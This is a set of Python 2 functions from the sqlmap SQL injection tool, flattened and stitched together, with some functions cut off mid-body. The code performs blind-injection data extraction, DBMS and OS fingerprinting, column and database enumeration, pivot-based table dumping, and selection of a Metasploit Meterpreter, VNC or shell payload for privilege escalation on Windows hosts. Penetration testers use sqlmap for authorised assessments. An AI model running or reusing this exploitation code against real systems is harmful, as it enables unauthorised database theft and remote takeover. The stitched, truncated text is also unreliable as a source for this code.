MAX_TECHNIQUES_PER_VALUE if found and conf.dnsName: _ = "".join( filter(None, (key if isTechniqueAvailable(value) else None for key, value in { "E": PAYLOAD.TECHNIQUE.ERROR, "Q": PAYLOAD.TECHNIQUE.QUERY, "U": PAYLOAD.TECHNIQUE.UNION }.items()))) warnMsg = "option '--dns-domain' will be ignored " warnMsg += "as faster techniques are usable " warnMsg += "(%s) " % _ singleTimeWarnMessage(warnMsg) if blind and isTechniqueAvailable( PAYLOAD.TECHNIQUE.BOOLEAN) and not found: kb.technique = PAYLOAD.TECHNIQUE.BOOLEAN if expected == EXPECTED.BOOL: value = _goBooleanProxy(booleanExpression) else: value = _goInferenceProxy(query, fromUser, batch, unpack, charsetType, firstChar, lastChar, dump) count += 1 found = (value is not None) or ( value is None and expectingNone) or count >= MAX_TECHNIQUES_PER_VALUE if time and (isTechniqueAvailable(PAYLOAD.TECHNIQUE.TIME) or isTechniqueAvailable( PAYLOAD.TECHNIQUE.STACKED)) and not found: if isTechniqueAvailable(PAYLOAD.TECHNIQUE.TIME): kb.technique = PAYLOAD.TECHNIQUE.TIME else: kb.technique = PAYLOAD.TECHNIQUE.STACKED if expected == EXPECTED.BOOL: value = _goBooleanProxy(booleanExpression) else: value = _goInferenceProxy(query, fromUser, batch, unpack, charsetType, firstChar, lastChar, dump) if value and isinstance(value, basestring): value = value.strip() if value.strip() else value[:1] else: errMsg = "none of the injection types identified can be " errMsg += "leveraged to retrieve queries output" raise SqlmapNotVulnerableException(errMsg) finally: kb.resumeValues = True if suppressOutput is not None: getCurrentThreadData().disableStdOut = popValue() kb.safeCharEncode = False if not kb.testMode and value is None and Backend.getDbms( ) and conf.dbmsHandler: warnMsg = "in case of continuous data retrieval problems you are advised to try " warnMsg += "a switch '--no-cast' and/or switch '--hex'" singleTimeWarnMessage(warnMsg) return extractExpectedValue(value, expected)
def checkDbmsOs(self, detailed=False): if Backend.getOs() and Backend.getOsVersion() and Backend.getOsServicePack(): return if not Backend.getOs(): Backend.setOs(OS.WINDOWS) if not detailed: return infoMsg = "fingerprinting the back-end DBMS operating system " infoMsg += "version and service pack" logger.info(infoMsg) infoMsg = "the back-end DBMS operating system is %s" % Backend.getOs() self.createSupportTbl(self.fileTblName, self.tblField, "varchar(1000)") inject.goStacked("INSERT INTO %s(%s) VALUES (%s)" % (self.fileTblName, self.tblField, "@@VERSION")) versions = { "2003": ("5.2", (2, 1)), # TODO: verify this #"2003": ("6.0", (2, 1)), "2008": ("7.0", (1,)), "2000": ("5.0", (4, 3, 2, 1)), "7": ("6.1", (1, 0)), "XP": ("5.1", (2, 1)), "NT": ("4.0", (6, 5, 4, 3, 2, 1)) } # Get back-end DBMS underlying operating system version for version, data in versions.items(): query = "(SELECT LEN(%s) FROM %s WHERE %s " % (self.tblField, self.fileTblName, self.tblField) query += "LIKE '%Windows NT " + data[0] + "%')>0" result = inject.checkBooleanExpression(query) if result: Backend.setOsVersion(version) infoMsg += " %s" % Backend.getOsVersion() break if not Backend.getOsVersion(): Backend.setOsVersion("2003") Backend.setOsServicePack(2) warnMsg = "unable to fingerprint the underlying operating " warnMsg += "system version, assuming it is Windows " warnMsg += "%s Service Pack %d" % (Backend.getOsVersion(), Backend.getOsServicePack()) logger.warn(warnMsg) self.cleanup(onlyFileTbl=True) return # Get back-end DBMS underlying operating system service pack sps = versions[Backend.getOsVersion()][1] for sp in sps: query = "SELECT LEN(%s) FROM %s WHERE %s " % (self.tblField, self.fileTblName, self.tblField) query += "LIKE '%Service Pack " + getUnicode(sp) + "%'" result = inject.goStacked(query) if result is not None and len(result) > 0 and result[0].isdigit(): Backend.setOsServicePack(sp) break if not Backend.getOsServicePack(): debugMsg = "assuming the operating system has no service pack" logger.debug(debugMsg) Backend.setOsServicePack(0) if Backend.getOsVersion(): infoMsg += " Service Pack %d" % Backend.getOsServicePack() logger.info(infoMsg) self.cleanup(onlyFileTbl=True)
def _goInferenceProxy(expression, fromUser=False, batch=False, unpack=True, charsetType=None, firstChar=None, lastChar=None, dump=False): """ Retrieve the output of a SQL query characted by character taking advantage of an blind SQL injection vulnerability on the affected parameter through a bisection algorithm. """ initTechnique(kb.technique) query = agent.prefixQuery(kb.injection.data[kb.technique].vector) query = agent.suffixQuery(query) payload = agent.payload(newValue=query) count = None startLimit = 0 stopLimit = None outputs = BigArray() if not unpack: return _goInference(payload, expression, charsetType, firstChar, lastChar, dump) _, _, _, _, _, expressionFieldsList, expressionFields, _ = agent.getFields( expression) rdbRegExp = re.search("RDB\$GET_CONTEXT\([^)]+\)", expression, re.I) if rdbRegExp and Backend.isDbms(DBMS.FIREBIRD): expressionFieldsList = [expressionFields] if len(expressionFieldsList) > 1: infoMsg = "the SQL query provided has more than one field. " infoMsg += "sqlmap will now unpack it into distinct queries " infoMsg += "to be able to retrieve the output even if we " infoMsg += "are going blind" logger.info(infoMsg) # If we have been here from SQL query/shell we have to check if # the SQL query might return multiple entries and in such case # forge the SQL limiting the query output one entry at a time # NOTE: we assume that only queries that get data from a table # can return multiple entries if fromUser and " FROM " in expression.upper() and ((Backend.getIdentifiedDbms() \ not in FROM_DUMMY_TABLE) or (Backend.getIdentifiedDbms() in FROM_DUMMY_TABLE and not \ expression.upper().endswith(FROM_DUMMY_TABLE[Backend.getIdentifiedDbms()]))) \ and not re.search(SQL_SCALAR_REGEX, expression, re.I): expression, limitCond, topLimit, startLimit, stopLimit = agent.limitCondition( expression) if limitCond: test = True if not stopLimit or stopLimit <= 1: if Backend.getIdentifiedDbms( ) in FROM_DUMMY_TABLE and expression.upper().endswith( FROM_DUMMY_TABLE[Backend.getIdentifiedDbms()]): test = False if test: # Count the number of SQL query entries output countFirstField = queries[Backend.getIdentifiedDbms( )].count.query % expressionFieldsList[0] countedExpression = expression.replace(expressionFields, countFirstField, 1) if " ORDER BY " in expression.upper(): _ = countedExpression.upper().rindex(" ORDER BY ") countedExpression = countedExpression[:_] if not stopLimit: count = _goInference(payload, countedExpression, charsetType=CHARSET_TYPE.DIGITS, firstChar=firstChar, lastChar=lastChar) if isNumPosStrValue(count): count = int(count) if batch: stopLimit = count else: message = "the SQL query provided can return " message += "%d entries. How many " % count message += "entries do you want to retrieve?\n" message += "[a] All (default)\n[#] Specific number\n" message += "[q] Quit" test = readInput(message, default="a") if not test or test[0] in ("a", "A"): stopLimit = count elif test[0] in ("q", "Q"): raise SqlmapUserQuitException elif test.isdigit( ) and int(test) > 0 and int(test) <= count: stopLimit = int(test) infoMsg = "sqlmap is now going to retrieve the " infoMsg += "first %d query output entries" % stopLimit logger.info(infoMsg) elif test[0] in ("#", "s", "S"): message = "how many? " stopLimit = readInput(message, default="10") if not stopLimit.isdigit(): errMsg = "invalid choice" logger.error(errMsg) return None else: stopLimit = int(stopLimit) else: errMsg = "invalid choice" logger.error(errMsg) return None elif count and not count.isdigit(): warnMsg = "it was not possible to count the number " warnMsg += "of entries for the SQL query provided. " warnMsg += "sqlmap will assume that it returns only " warnMsg += "one entry" logger.warn(warnMsg) stopLimit = 1 elif (not count or int(count) == 0): if not count: warnMsg = "the SQL query provided does not " warnMsg += "return any output" logger.warn(warnMsg) return None elif (not stopLimit or stopLimit == 0): return None try: for num in xrange(startLimit, stopLimit): output = _goInferenceFields(expression, expressionFields, expressionFieldsList, payload, num=num, charsetType=charsetType, firstChar=firstChar, lastChar=lastChar, dump=dump) outputs.append(output) except KeyboardInterrupt: print warnMsg = "user aborted during dumping phase" logger.warn(warnMsg) return outputs elif Backend.getIdentifiedDbms() in FROM_DUMMY_TABLE and expression.upper( ).startswith("SELECT ") and " FROM " not in expression.upper(): expression += FROM_DUMMY_TABLE[Backend.getIdentifiedDbms()] outputs = _goInferenceFields(expression, expressionFields, expressionFieldsList, payload, charsetType=charsetType, firstChar=firstChar, lastChar=lastChar, dump=dump) return ", ".join( output for output in outputs) if not isNoneValue(outputs) else None
def getColumns(self, onlyColNames=False, colTuple=None, bruteForce=None): self.forceDbmsEnum() if conf.db is None or conf.db == CURRENT_DB: if conf.db is None: warnMsg = "missing database parameter. sqlmap is going " warnMsg += "to use the current database to enumerate " warnMsg += "table(s) columns" logger.warn(warnMsg) conf.db = self.getCurrentDb() if not conf.db: errMsg = "unable to retrieve the current " errMsg += "database name" raise SqlmapNoneDataException(errMsg) elif conf.db is not None: if Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2, DBMS.HSQLDB): conf.db = conf.db.upper() if ',' in conf.db: errMsg = "only one database name is allowed when enumerating " errMsg += "the tables' columns" raise SqlmapMissingMandatoryOptionException(errMsg) conf.db = safeSQLIdentificatorNaming(conf.db) if conf.col: if Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2): conf.col = conf.col.upper() colList = conf.col.split(",") else: colList = [] for col in colList: colList[colList.index(col)] = safeSQLIdentificatorNaming(col) colList = filter(None, colList) if conf.tbl: if Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2): conf.tbl = conf.tbl.upper() tblList = conf.tbl.split(",") else: self.getTables() if len(kb.data.cachedTables) > 0: if conf.db in kb.data.cachedTables: tblList = kb.data.cachedTables[conf.db] else: tblList = kb.data.cachedTables.values() if isinstance(tblList[0], (set, tuple, list)): tblList = tblList[0] tblList = list(tblList) else: errMsg = "unable to retrieve the tables " errMsg += "in database '%s'" % unsafeSQLIdentificatorNaming( conf.db) raise SqlmapNoneDataException(errMsg) tblList = filter(None, (safeSQLIdentificatorNaming(_, True) for _ in tblList)) if bruteForce is None: if Backend.isDbms( DBMS.MYSQL) and not kb.data.has_information_schema: errMsg = "information_schema not available, " errMsg += "back-end DBMS is MySQL < 5.0" logger.error(errMsg) bruteForce = True elif Backend.isDbms(DBMS.ACCESS): errMsg = "cannot retrieve column names, " errMsg += "back-end DBMS is Access" logger.error(errMsg) bruteForce = True if bruteForce: resumeAvailable = False for tbl in tblList: for db, table, colName, colType in kb.brute.columns: if db == conf.db and table == tbl: resumeAvailable = True break if resumeAvailable or colList: columns = {} for column in colList: columns[column] = None for tbl in tblList: for db, table, colName, colType in kb.brute.columns: if db == conf.db and table == tbl: columns[colName] = colType if conf.db in kb.data.cachedColumns: kb.data.cachedColumns[safeSQLIdentificatorNaming( conf.db)][safeSQLIdentificatorNaming( tbl, True)] = columns else: kb.data.cachedColumns[safeSQLIdentificatorNaming( conf.db)] = { safeSQLIdentificatorNaming(tbl, True): columns } return kb.data.cachedColumns message = "do you want to use common column existence check? %s" % ( "[Y/n/q]" if Backend.getIdentifiedDbms() in (DBMS.ACCESS, ) else "[y/N/q]") test = readInput(message, default="Y" if "Y" in message else "N") if test[0] in ("n", "N"): return elif test[0] in ("q", "Q"): raise SqlmapUserQuitException else: return columnExists(paths.COMMON_COLUMNS) rootQuery = queries[Backend.getIdentifiedDbms()].columns condition = rootQuery.blind.condition if 'condition' in rootQuery.blind else None if any( isTechniqueAvailable(_) for _ in (PAYLOAD.TECHNIQUE.UNION, PAYLOAD.TECHNIQUE.ERROR, PAYLOAD.TECHNIQUE.QUERY)) or conf.direct: for tbl in tblList: if conf.db is not None and len(kb.data.cachedColumns) > 0 \ and conf.db in kb.data.cachedColumns and tbl in \ kb.data.cachedColumns[conf.db]: infoMsg = "fetched tables' columns on " infoMsg += "database '%s'" % unsafeSQLIdentificatorNaming( conf.db) logger.info(infoMsg) return {conf.db: kb.data.cachedColumns[conf.db]} infoMsg = "fetching columns " condQuery = "" if len(colList) > 0: if colTuple: _, colCondParam = colTuple infoMsg += "like '%s' " % ", ".join( unsafeSQLIdentificatorNaming(col) for col in sorted(colList)) else: colCondParam = "='%s'" infoMsg += "'%s' " % ", ".join( unsafeSQLIdentificatorNaming(col) for col in sorted(colList)) condQueryStr = "%%s%s" % colCondParam condQuery = " AND (%s)" % " OR ".join( condQueryStr % (condition, unsafeSQLIdentificatorNaming(col)) for col in sorted(colList)) infoMsg += "for table '%s' " % unsafeSQLIdentificatorNaming( tbl) infoMsg += "in database '%s'" % unsafeSQLIdentificatorNaming( conf.db) logger.info(infoMsg) if Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.PGSQL, DBMS.HSQLDB): query = rootQuery.inband.query % ( unsafeSQLIdentificatorNaming(tbl), unsafeSQLIdentificatorNaming(conf.db)) query += condQuery elif Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2): query = rootQuery.inband.query % ( unsafeSQLIdentificatorNaming(tbl.upper()), unsafeSQLIdentificatorNaming(conf.db.upper())) query += condQuery elif Backend.isDbms(DBMS.MSSQL): query = rootQuery.inband.query % ( conf.db, conf.db, conf.db, conf.db, conf.db, conf.db, conf.db, unsafeSQLIdentificatorNaming(tbl).split(".")[-1]) query += condQuery.replace("[DB]", conf.db) elif Backend.getIdentifiedDbms() in (DBMS.SQLITE, DBMS.FIREBIRD): query = rootQuery.inband.query % tbl values = inject.getValue(query, blind=False, time=False) if Backend.isDbms(DBMS.MSSQL) and isNoneValue(values): index, values = 1, [] while True: query = rootQuery.inband.query2 % (conf.db, tbl, index) value = unArrayizeValue( inject.getValue(query, blind=False, time=False)) if isNoneValue(value) or value == " ": break else: values.append((value, )) index += 1 if Backend.isDbms(DBMS.SQLITE): parseSqliteTableSchema(unArrayizeValue(values)) elif not isNoneValue(values): table = {} columns = {} for columnData in values: if not isNoneValue(columnData): name = safeSQLIdentificatorNaming(columnData[0]) if name: if conf.getComments: _ = queries[Backend.getIdentifiedDbms( )].column_comment if hasattr(_, "query"): if Backend.getIdentifiedDbms() in ( DBMS.ORACLE, DBMS.DB2): query = _.query % ( unsafeSQLIdentificatorNaming( conf.db.upper()), unsafeSQLIdentificatorNaming( tbl.upper()), unsafeSQLIdentificatorNaming( name.upper())) else: query = _.query % ( unsafeSQLIdentificatorNaming( conf.db), unsafeSQLIdentificatorNaming( tbl), unsafeSQLIdentificatorNaming( name)) comment = unArrayizeValue( inject.getValue(query, blind=False, time=False)) else: warnMsg = "on %s it is not " % Backend.getIdentifiedDbms( ) warnMsg += "possible to get column comments" singleTimeWarnMessage(warnMsg) if len(columnData) == 1: columns[name] = None else: if Backend.isDbms(DBMS.FIREBIRD): columnData[1] = FIREBIRD_TYPES.get( columnData[1], columnData[1]) columns[name] = columnData[1] if conf.db in kb.data.cachedColumns: kb.data.cachedColumns[safeSQLIdentificatorNaming( conf.db)][safeSQLIdentificatorNaming( tbl, True)] = columns else: table[safeSQLIdentificatorNaming(tbl, True)] = columns kb.data.cachedColumns[safeSQLIdentificatorNaming( conf.db)] = table elif isInferenceAvailable() and not conf.direct: for tbl in tblList: if conf.db is not None and len(kb.data.cachedColumns) > 0 \ and conf.db in kb.data.cachedColumns and tbl in \ kb.data.cachedColumns[conf.db]: infoMsg = "fetched tables' columns on " infoMsg += "database '%s'" % unsafeSQLIdentificatorNaming( conf.db) logger.info(infoMsg) return {conf.db: kb.data.cachedColumns[conf.db]} infoMsg = "fetching columns " condQuery = "" if len(colList) > 0: if colTuple: _, colCondParam = colTuple infoMsg += "like '%s' " % ", ".join( unsafeSQLIdentificatorNaming(col) for col in sorted(colList)) else: colCondParam = "='%s'" infoMsg += "'%s' " % ", ".join( unsafeSQLIdentificatorNaming(col) for col in sorted(colList)) condQueryStr = "%%s%s" % colCondParam condQuery = " AND (%s)" % " OR ".join( condQueryStr % (condition, unsafeSQLIdentificatorNaming(col)) for col in sorted(colList)) infoMsg += "for table '%s' " % unsafeSQLIdentificatorNaming( tbl) infoMsg += "in database '%s'" % unsafeSQLIdentificatorNaming( conf.db) logger.info(infoMsg) if Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.PGSQL): query = rootQuery.blind.count % ( unsafeSQLIdentificatorNaming(tbl), unsafeSQLIdentificatorNaming(conf.db)) query += condQuery elif Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2): query = rootQuery.blind.count % ( unsafeSQLIdentificatorNaming(tbl.upper()), unsafeSQLIdentificatorNaming(conf.db.upper())) query += condQuery elif Backend.isDbms(DBMS.MSSQL): query = rootQuery.blind.count % (conf.db, conf.db, \ unsafeSQLIdentificatorNaming(tbl).split(".")[-1]) query += condQuery.replace("[DB]", conf.db) elif Backend.isDbms(DBMS.FIREBIRD): query = rootQuery.blind.count % (tbl) query += condQuery elif Backend.isDbms(DBMS.SQLITE): query = rootQuery.blind.query % tbl value = unArrayizeValue( inject.getValue(query, union=False, error=False)) parseSqliteTableSchema(value) return kb.data.cachedColumns count = inject.getValue(query, union=False, error=False, expected=EXPECTED.INT, charsetType=CHARSET_TYPE.DIGITS) table = {} columns = {} if not isNumPosStrValue(count): if Backend.isDbms(DBMS.MSSQL): count, index, values = 0, 1, [] while True: query = rootQuery.blind.query3 % (conf.db, tbl, index) value = unArrayizeValue( inject.getValue(query, union=False, error=False)) if isNoneValue(value) or value == " ": break else: columns[safeSQLIdentificatorNaming( value)] = None index += 1 if not columns: errMsg = "unable to retrieve the %scolumns " % ( "number of " if not Backend.isDbms(DBMS.MSSQL) else "") errMsg += "for table '%s' " % unsafeSQLIdentificatorNaming( tbl) errMsg += "in database '%s'" % unsafeSQLIdentificatorNaming( conf.db) logger.error(errMsg) continue for index in getLimitRange(count): if Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.PGSQL): query = rootQuery.blind.query % ( unsafeSQLIdentificatorNaming(tbl), unsafeSQLIdentificatorNaming(conf.db)) query += condQuery field = None elif Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2): query = rootQuery.blind.query % ( unsafeSQLIdentificatorNaming(tbl.upper()), unsafeSQLIdentificatorNaming(conf.db.upper())) query += condQuery field = None elif Backend.isDbms(DBMS.MSSQL): query = rootQuery.blind.query.replace( "'%s'", "'%s'" % unsafeSQLIdentificatorNaming(tbl).split(".")[-1] ).replace("%s", conf.db).replace("%d", str(index)) query += condQuery.replace("[DB]", conf.db) field = condition.replace("[DB]", conf.db) elif Backend.isDbms(DBMS.FIREBIRD): query = rootQuery.blind.query % (tbl) query += condQuery field = None query = agent.limitQuery(index, query, field, field) column = unArrayizeValue( inject.getValue(query, union=False, error=False)) if not isNoneValue(column): if conf.getComments: _ = queries[ Backend.getIdentifiedDbms()].column_comment if hasattr(_, "query"): if Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2): query = _.query % ( unsafeSQLIdentificatorNaming( conf.db.upper()), unsafeSQLIdentificatorNaming( tbl.upper()), unsafeSQLIdentificatorNaming( column.upper())) else: query = _.query % ( unsafeSQLIdentificatorNaming(conf.db), unsafeSQLIdentificatorNaming(tbl), unsafeSQLIdentificatorNaming(column)) comment = unArrayizeValue( inject.getValue(query, union=False, error=False)) else: warnMsg = "on %s it is not " % Backend.getIdentifiedDbms( ) warnMsg += "possible to get column comments" singleTimeWarnMessage(warnMsg) if not onlyColNames: if Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.PGSQL): query = rootQuery.blind.query2 % ( unsafeSQLIdentificatorNaming(tbl), column, unsafeSQLIdentificatorNaming(conf.db)) elif Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2): query = rootQuery.blind.query2 % ( unsafeSQLIdentificatorNaming( tbl.upper()), column, unsafeSQLIdentificatorNaming( conf.db.upper())) elif Backend.isDbms(DBMS.MSSQL): query = rootQuery.blind.query2 % ( conf.db, conf.db, conf.db, conf.db, column, conf.db, conf.db, conf.db, unsafeSQLIdentificatorNaming(tbl).split( ".")[-1]) elif Backend.isDbms(DBMS.FIREBIRD): query = rootQuery.blind.query2 % (tbl, column) colType = unArrayizeValue( inject.getValue(query, union=False, error=False)) if Backend.isDbms(DBMS.FIREBIRD): colType = FIREBIRD_TYPES.get(colType, colType) column = safeSQLIdentificatorNaming(column) columns[column] = colType else: column = safeSQLIdentificatorNaming(column) columns[column] = None if columns: if conf.db in kb.data.cachedColumns: kb.data.cachedColumns[safeSQLIdentificatorNaming( conf.db)][safeSQLIdentificatorNaming( tbl, True)] = columns else: table[safeSQLIdentificatorNaming(tbl, True)] = columns kb.data.cachedColumns[safeSQLIdentificatorNaming( conf.db)] = table if not kb.data.cachedColumns: warnMsg = "unable to retrieve column names for " warnMsg += ("table '%s' " % unsafeSQLIdentificatorNaming(unArrayizeValue(tblList)) ) if len(tblList) == 1 else "any table " warnMsg += "in database '%s'" % unsafeSQLIdentificatorNaming( conf.db) logger.warn(warnMsg) if bruteForce is None: return self.getColumns(onlyColNames=onlyColNames, colTuple=colTuple, bruteForce=True) return kb.data.cachedColumns
def checkDbms(self): if not conf.extensiveFp and (Backend.isDbmsWithin(MSSQL_ALIASES) \ or conf.dbms in MSSQL_ALIASES) and Backend.getVersion() and \ Backend.getVersion().isdigit(): setDbms("%s %s" % (DBMS.MSSQL, Backend.getVersion())) self.getBanner() Backend.setOs(OS.WINDOWS) return True infoMsg = "testing %s" % DBMS.MSSQL logger.info(infoMsg) # NOTE: SELECT LEN(@@VERSION)=LEN(@@VERSION) FROM DUAL does not # work connecting directly to the Microsoft SQL Server database if conf.direct: result = True else: result = inject.checkBooleanExpression("BINARY_CHECKSUM([RANDNUM])=BINARY_CHECKSUM([RANDNUM])") if result: infoMsg = "confirming %s" % DBMS.MSSQL logger.info(infoMsg) for version, check in (("2000", "HOST_NAME()=HOST_NAME()"), \ ("2005", "XACT_STATE()=XACT_STATE()"), \ ("2008", "SYSDATETIME()=SYSDATETIME()")): result = inject.checkBooleanExpression(check) if result: Backend.setVersion(version) if Backend.getVersion(): setDbms("%s %s" % (DBMS.MSSQL, Backend.getVersion())) else: setDbms(DBMS.MSSQL) self.getBanner() Backend.setOs(OS.WINDOWS) return True else: warnMsg = "the back-end DBMS is not %s" % DBMS.MSSQL logger.warn(warnMsg) return False
def pivotDumpTable(table, colList, count=None, blind=True): lengths = {} entries = {} dumpNode = queries[Backend.getIdentifiedDbms()].dump_table.blind validColumnList = False validPivotValue = False if count is None: query = dumpNode.count % table query = whereQuery(query) count = inject.getValue( query, union=False, error=False, expected=EXPECTED.INT, charsetType=CHARSET_TYPE.DIGITS) if blind else inject.getValue( query, blind=False, time=False, expected=EXPECTED.INT) if isinstance(count, basestring) and count.isdigit(): count = int(count) if count == 0: infoMsg = "table '%s' appears to be empty" % unsafeSQLIdentificatorNaming( table) logger.info(infoMsg) for column in colList: lengths[column] = len(column) entries[column] = [] return entries, lengths elif not isNumPosStrValue(count): return None for column in colList: lengths[column] = 0 entries[column] = BigArray() colList = filter(None, sorted(colList, key=lambda x: len(x) if x else MAX_INT)) if conf.pivotColumn: for _ in colList: if re.search(r"(.+\.)?%s" % re.escape(conf.pivotColumn), _, re.I): infoMsg = "using column '%s' as a pivot " % conf.pivotColumn infoMsg += "for retrieving row data" logger.info(infoMsg) colList.remove(_) colList.insert(0, _) validPivotValue = True break if not validPivotValue: warnMsg = "column '%s' not " % conf.pivotColumn warnMsg += "found in table '%s'" % table logger.warn(warnMsg) if not validPivotValue: for column in colList: infoMsg = "fetching number of distinct " infoMsg += "values for column '%s'" % column logger.info(infoMsg) query = dumpNode.count2 % (column, table) query = whereQuery(query) value = inject.getValue(query, blind=blind, union=not blind, error=not blind, expected=EXPECTED.INT, charsetType=CHARSET_TYPE.DIGITS) if isNumPosStrValue(value): validColumnList = True if value == count: infoMsg = "using column '%s' as a pivot " % column infoMsg += "for retrieving row data" logger.info(infoMsg) validPivotValue = True colList.remove(column) colList.insert(0, column) break if not validColumnList: errMsg = "all column name(s) provided are non-existent" raise SqlmapNoneDataException(errMsg) if not validPivotValue: warnMsg = "no proper pivot column provided (with unique values)." warnMsg += " It won't be possible to retrieve all rows" logger.warn(warnMsg) pivotValue = " " breakRetrieval = False def _(column, pivotValue): if column == colList[0]: query = dumpNode.query.replace( "'%s'", "%s") % (agent.preprocessField( table, column), table, agent.preprocessField( table, column), unescaper.escape(pivotValue, False)) else: query = dumpNode.query2.replace( "'%s'", "%s") % (agent.preprocessField(table, column), table, agent.preprocessField(table, colList[0]), unescaper.escape(pivotValue, False)) query = whereQuery(query) return unArrayizeValue( inject.getValue(query, blind=blind, time=blind, union=not blind, error=not blind)) try: for i in xrange(count): if breakRetrieval: break for column in colList: value = _(column, pivotValue) if column == colList[0]: if isNoneValue(value): try: for pivotValue in filter(None, ( " " if pivotValue == " " else None, "%s%s" % (pivotValue[0], unichr(ord(pivotValue[1]) + 1)) if len(pivotValue) > 1 else None, unichr(ord(pivotValue[0]) + 1))): value = _(column, pivotValue) if not isNoneValue(value): break except ValueError: pass if isNoneValue(value): breakRetrieval = True break pivotValue = safechardecode(value) if conf.limitStart or conf.limitStop: if conf.limitStart and (i + 1) < conf.limitStart: warnMsg = "skipping first %d pivot " % conf.limitStart warnMsg += "point values" singleTimeWarnMessage(warnMsg) break elif conf.limitStop and (i + 1) > conf.limitStop: breakRetrieval = True break value = "" if isNoneValue(value) else unArrayizeValue(value) lengths[column] = max( lengths[column], len( DUMP_REPLACEMENTS.get(getUnicode(value), getUnicode(value)))) entries[column].append(value) except KeyboardInterrupt: kb.dumpKeyboardInterrupt = True warnMsg = "user aborted during enumeration. sqlmap " warnMsg += "will display partial output" logger.warn(warnMsg) except SqlmapConnectionException, e: errMsg = "connection exception detected. sqlmap " errMsg += "will display partial output" errMsg += "'%s'" % e logger.critical(errMsg)
def getDbs(self): if len(kb.data.cachedDbs) > 0: return kb.data.cachedDbs infoMsg = None if Backend.isDbms(DBMS.MYSQL) and not kb.data.has_information_schema: warnMsg = "information_schema not available, " warnMsg += "back-end DBMS is MySQL < 5. database " warnMsg += "names will be fetched from 'mysql' database" logger.warn(warnMsg) elif Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2, DBMS.PGSQL): warnMsg = "schema names are going to be used on %s " % Backend.getIdentifiedDbms( ) warnMsg += "for enumeration as the counterpart to database " warnMsg += "names on other DBMSes" logger.warn(warnMsg) infoMsg = "fetching database (schema) names" else: infoMsg = "fetching database names" if infoMsg: logger.info(infoMsg) rootQuery = queries[Backend.getIdentifiedDbms()].dbs if any( isTechniqueAvailable(_) for _ in (PAYLOAD.TECHNIQUE.UNION, PAYLOAD.TECHNIQUE.ERROR, PAYLOAD.TECHNIQUE.QUERY)) or conf.direct: if Backend.isDbms( DBMS.MYSQL) and not kb.data.has_information_schema: query = rootQuery.inband.query2 else: query = rootQuery.inband.query values = inject.getValue(query, blind=False, time=False) if not isNoneValue(values): kb.data.cachedDbs = arrayizeValue(values) if not kb.data.cachedDbs and isInferenceAvailable( ) and not conf.direct: infoMsg = "fetching number of databases" logger.info(infoMsg) if Backend.isDbms( DBMS.MYSQL) and not kb.data.has_information_schema: query = rootQuery.blind.count2 else: query = rootQuery.blind.count count = inject.getValue(query, union=False, error=False, expected=EXPECTED.INT, charsetType=CHARSET_TYPE.DIGITS) if not isNumPosStrValue(count): errMsg = "unable to retrieve the number of databases" logger.error(errMsg) else: plusOne = Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2) indexRange = getLimitRange(count, plusOne=plusOne) for index in indexRange: if Backend.isDbms(DBMS.SYBASE): query = rootQuery.blind.query % (kb.data.cachedDbs[-1] if kb.data.cachedDbs else " ") elif Backend.isDbms( DBMS.MYSQL) and not kb.data.has_information_schema: query = rootQuery.blind.query2 % index else: query = rootQuery.blind.query % index db = unArrayizeValue( inject.getValue(query, union=False, error=False)) if db: kb.data.cachedDbs.append( safeSQLIdentificatorNaming(db)) if not kb.data.cachedDbs and Backend.isDbms(DBMS.MSSQL): if any( isTechniqueAvailable(_) for _ in (PAYLOAD.TECHNIQUE.UNION, PAYLOAD.TECHNIQUE.ERROR, PAYLOAD.TECHNIQUE.QUERY)) or conf.direct: blinds = (False, True) else: blinds = (True, ) for blind in blinds: count = 0 kb.data.cachedDbs = [] while True: query = rootQuery.inband.query2 % count value = unArrayizeValue(inject.getValue(query, blind=blind)) if not (value or "").strip(): break else: kb.data.cachedDbs.append(value) count += 1 if kb.data.cachedDbs: break if not kb.data.cachedDbs: infoMsg = "falling back to current database" logger.info(infoMsg) self.getCurrentDb() if kb.data.currentDb: kb.data.cachedDbs = [kb.data.currentDb] else: errMsg = "unable to retrieve the database names" raise SqlmapNoneDataException(errMsg) else: kb.data.cachedDbs.sort() if kb.data.cachedDbs: kb.data.cachedDbs = list(set(kb.data.cachedDbs)) return kb.data.cachedDbs
def _selectPayload(self): if Backend.isOs(OS.WINDOWS) and conf.privEsc: infoMsg = "forcing Metasploit payload to Meterpreter because " infoMsg += "it is the only payload that can be used to " infoMsg += "escalate privileges via 'incognito' extension, " infoMsg += "'getsystem' command or post modules" logger.info(infoMsg) _payloadStr = "windows/meterpreter" else: _payloadStr = self._skeletonSelection("payload", self._msfPayloadsList) if _payloadStr == "windows/vncinject": choose = False if Backend.isDbms(DBMS.MYSQL): debugMsg = "by default MySQL on Windows runs as SYSTEM " debugMsg += "user, it is likely that the the VNC " debugMsg += "injection will be successful" logger.debug(debugMsg) elif Backend.isDbms(DBMS.PGSQL): choose = True warnMsg = "by default PostgreSQL on Windows runs as " warnMsg += "postgres user, it is unlikely that the VNC " warnMsg += "injection will be successful" logger.warn(warnMsg) elif Backend.isDbms(DBMS.MSSQL) and Backend.isVersionWithin( ("2005", "2008")): choose = True warnMsg = "it is unlikely that the VNC injection will be " warnMsg += "successful because usually Microsoft SQL Server " warnMsg += "%s runs as Network Service " % Backend.getVersion() warnMsg += "or the Administrator is not logged in" logger.warn(warnMsg) if choose: message = "what do you want to do?\n" message += "[1] Give it a try anyway\n" message += "[2] Fall back to Meterpreter payload (default)\n" message += "[3] Fall back to Shell payload" while True: choice = readInput(message, default="2") if not choice or choice == "2": _payloadStr = "windows/meterpreter" break elif choice == "3": _payloadStr = "windows/shell" break elif choice == "1": if Backend.isDbms(DBMS.PGSQL): logger.warn( "beware that the VNC injection might not work") break 